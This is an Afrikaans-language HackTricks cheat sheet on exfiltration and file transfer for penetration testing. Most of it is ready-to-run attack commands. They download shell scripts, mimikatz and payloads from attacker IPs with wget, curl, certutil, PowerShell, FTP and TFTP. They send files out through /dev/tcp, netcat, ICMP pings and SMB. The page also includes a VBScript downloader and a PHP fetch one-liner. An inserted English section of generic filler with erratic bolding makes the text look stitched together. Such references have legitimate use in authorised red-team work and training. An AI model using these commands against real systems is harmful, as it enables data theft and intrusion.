hacktricks/generic-methodologies-and-resources/exfiltration.md

# Uitlekking

{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details>

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**Probeer Hard Security Groep**

<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

***

## Gewoonlik toegelate domeine om inligting uit te lek

Kyk na [https://lots-project.com/](https://lots-project.com/) om gewoonlik toegelate domeine te vind wat misbruik kan word

## Kopieer & Plak Base64

**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP

**Linux**
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Laai lêers op

* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python module [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **HTTPS-bediener**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## FTP

### FTP-bediener (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP-bediener (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP-bediener (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```

```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Windows** kliënt
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
## SMB

Kali as bediener
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Of skep 'n smb-aandeel **met behulp van samba**:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
### Exfiltration

#### Exfiltration Techniques

Exfiltration techniques are ways to **steal** data from a target system. These techniques can be **categorized** into several groups based on how the data is **transferred** from the target system to the attacker's system. Some common exfiltration techniques include:

- **Exfiltration Over Command and Control (C2) Channel**: Attackers can use a C2 channel to **send** data from the target system to their **command and control server**. This can be done using various **protocols** such as HTTP, DNS, or custom protocols.

- **Exfiltration Over Alternative Protocols**: Attackers can use **alternative protocols** such as ICMP, SSH, or even social media platforms to **exfiltrate** data from the target system. This can help **bypass** **network** **security** controls that **monitor** traditional **network** traffic.

- **Exfiltration Over Encrypted Channels**: Attackers can use **encrypted channels** such as **SSL/TLS** to **hide** exfiltrated data **within** **legitimate** **network** traffic. This can **evade** detection by **security** **tools** that do not **inspect** encrypted traffic.

- **Exfiltration Using Steganography**: Attackers can **embed** **data** **within** **files**, **images**, or other **media** using **steganography** techniques. This **hidden** data can then be **extracted** by the attacker **without** arousing suspicion.

- **Exfiltration Over DNS**: Attackers can **abuse** the **DNS** protocol to **exfiltrate** data by **encoding** it **within** **DNS** **queries** or **responses**. This can **bypass** **firewalls** that **allow** **DNS** traffic **outbound**.

#### Exfiltration Tools

There are several tools available to **facilitate** data exfiltration during a **penetration test**. These tools can **automate** the exfiltration process and **help** **testers** **determine** the **effectiveness** of **security** controls **implemented** by the target organization. Some common exfiltration tools include:

- **Cobalt Strike**: A **popular** **framework** for **adversary** **simulations** and **red team** operations that **includes** **features** for **exfiltration**.

- **Empire**: An **open-source** **post-exploitation** **framework** that **includes** **modules** for **data exfiltration**.

- **PowerShell Empire**: A **post-exploitation** **framework** that **leverages** **PowerShell** for **exfiltration** and **persistence**.

- **Sliver**: A **cross-platform** **implant** that **includes** **features** for **exfiltration** and **persistence**.

- **SILENTTRINITY**: An **open-source** **post-exploitation** **framework** that **supports** **exfiltration** **capabilities**.

By **leveraging** these tools and techniques, **attackers** can **successfully** **exfiltrate** data from **target** systems **without** being **detected**.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP

Die aanvaller moet SSHd aan die gang hê.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS

Indien die slagoffer SSH het, kan die aanvaller 'n gids van die slagoffer na die aanvaller se stelsel koppel.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC

Netcat is 'n kragtige netwerk hulpmiddel wat gebruik kan word vir die oordrag van data oor netwerke. Dit kan gebruik word vir die skep van terugvoerlêers, portskandering, en selfs as 'n eenvoudige webbediener.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp

### Laai lêer af van slagoffer
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Laai lêer na slagoffer op
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
dankie aan **@BinaryShadow\_**

## **ICMP**
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```
## **SMTP**

As jy data na 'n SMTP-bediener kan stuur, kan jy 'n SMTP skep om die data met Python te ontvang:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP

Standaard in XP en 2003 (in ander moet dit uitdruklik tydens installasie bygevoeg word)

In Kali, **begin TFTP-bediener**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**TFTP-bediener in Python:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
In **slagoffer**, verbind met die Kali-bediener:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP

Laai 'n lêer af met 'n PHP eenlynstuk:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Slagoffer**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe

Die `debug.exe` program bied nie net die vermoë om binêre lêers te inspekteer nie, maar het ook die **vermoë om hulle vanaf heks te herbou**. Dit beteken dat deur 'n heks van 'n binêre lêer te voorsien, kan `debug.exe` die binêre lêer genereer. Dit is egter belangrik om daarop te let dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte saam te stel**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Dan kopieer en plak die teks in die Windows-skootrekenaar en 'n lêer genaamd nc.exe sal geskep word.

* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

## DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

**Try Hard Security Group**

<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>
{% endhint %}